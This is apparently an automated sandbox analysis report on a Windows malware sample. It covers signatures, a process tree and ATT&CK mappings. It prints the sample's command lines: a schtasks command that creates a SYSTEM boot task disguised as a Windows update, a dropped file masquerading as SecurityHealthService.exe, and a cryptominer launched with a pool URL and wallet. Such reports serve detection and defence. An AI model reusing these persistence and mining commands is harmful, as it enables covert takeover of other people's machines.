Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
14/10/2026, 02:25
General
- Target 2026-10-13_ea84195b320d6b28b638bfc50bc608a2_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe
- Size 41.3MB
- Sample261014-cwa5taev8x
- SHA256 9e5ccc1dc6bb4b7954aebeb42edcb4fec37da1a74b50a80ab049544c96f812fe
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 3 IoCs
- XMRig Miner payload 24 IoCs
- Detects executables referencing many IR and analysis tools 9 IoCs
- UPX dump on OEP (original entry point) 20 IoCs
- Executes a file named after a Windows system binary 1 TTPs 2 IoCs
The file runs from a user directory while carrying the name of an executable that normally only exists in System32.
- Executes dropped EXE 4 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-10-13_ea84195b320d6b28b638bfc50bc608a2_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe"C:\Users\Admin\AppData\Local\Temp\2026-10-13_ea84195b320d6b28b638bfc50bc608a2_cobalt-strike_coinminer_glassworm_icedid_njrat_quasar-rat_stealc.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\mmn100F.tmp"C:\Users\Admin\AppData\Local\Temp\mmn100F.tmp"3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Query /TN "WindowsUpdateTask"4⤵
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /F /TN "WindowsUpdateBoot" /TR "C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exe" /SC ONSTART /RU SYSTEM /RL HIGHEST /DELAY 0000:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Query /TN "WindowsUpdateBoot"4⤵
-
-
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e32101f081a3409461d0d315e42461e2e0b0147062017051f0f340819471e330b575d5a7244401c4e7525073b5f030355105c762e585f59023c3d1f360a305b2237052f0c3f01023d370f3779551d302a7831061f5f2911233d1e0f1d29021e273e17581a051e250a0418062c31232f5d17110409200b01140d3115211c2c302b250b72561d2c3f61491d49166149400a1e34490008166c10051b0b20001e4406280a19545f71544d440f611615465e2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService\wildrig.exe"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService\wildrig.exe" --algo quantus --url stratum+tcp://eu.lproute.com:5660 --worker demo1060 --user qzns4uEARDD8e41G21fttYVk6JRhXKC4Pk8EUk3jRAzoPUzbb --api-port 215502⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe" --encargs 6c490906002010084402241208054e724440064e32101f081a3409461d0d315e42461e2e0b0147062017051f0f340819471e330b575d5a7244401c4e7525073b5f030355105c762e585f59023c3d1f360a305b2237052f0c3f01023d370f3779551d302a7831061f5f2911233d1e0f1d29021e273e17581a051e250a0418062c31232f5d17110409200b01140d3115211c2c302b250b72561d2c3f61491d49166149400a1e34490008166c10051b0b20001e4406280a19545f71544d440f611615465e2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exe"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exe"C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exe"2⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exeC:\Users\Admin\AppData\Roaming\Microsoft\SecurityHealthService.exe\SecurityHealthService.exe1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Access Token Manipulation
1Parent PID Spoofing
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Access Token Manipulation
1Parent PID Spoofing
1Masquerading
1Match Legitimate Name or Location
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
mmn100F.tmp
wildrig.exe
memory/2772-7-0x00007FF79ACB0000-0x00007FF79C157000-memory.dmp
memory/2992-71-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-26-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-137-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-83-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-34-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-110-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-124-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-96-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-21-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-58-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-150-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-44-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/2992-30-0x00007FF78C2C0000-0x00007FF78CBA7000-memory.dmp
memory/3948-6-0x0000017FB9AF0000-0x0000017FB9B10000-memory.dmp
memory/3948-16-0x00007FF62B530000-0x00007FF62BE17000-memory.dmp
memory/4284-13-0x00007FF79ACB0000-0x00007FF79C157000-memory.dmp
memory/4596-29-0x00007FF7B1320000-0x00007FF7B27C7000-memory.dmp
memory/4596-121-0x00007FF7B1320000-0x00007FF7B27C7000-memory.dmp
memory/4596-20-0x00007FF7B1320000-0x00007FF7B27C7000-memory.dmp
memory/4596-15-0x00007FF7B1320000-0x00007FF7B27C7000-memory.dmp
memory/4596-82-0x00007FF7B1320000-0x00007FF7B27C7000-memory.dmp
memory/4748-37-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-77-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-64-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-103-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-31-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-22-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-18-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-131-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-143-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-11-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4748-157-0x00007FF6B8C70000-0x00007FF6BC8EB000-memory.dmp
memory/4876-12-0x00007FF6B0B30000-0x00007FF6B1FD8000-memory.dmp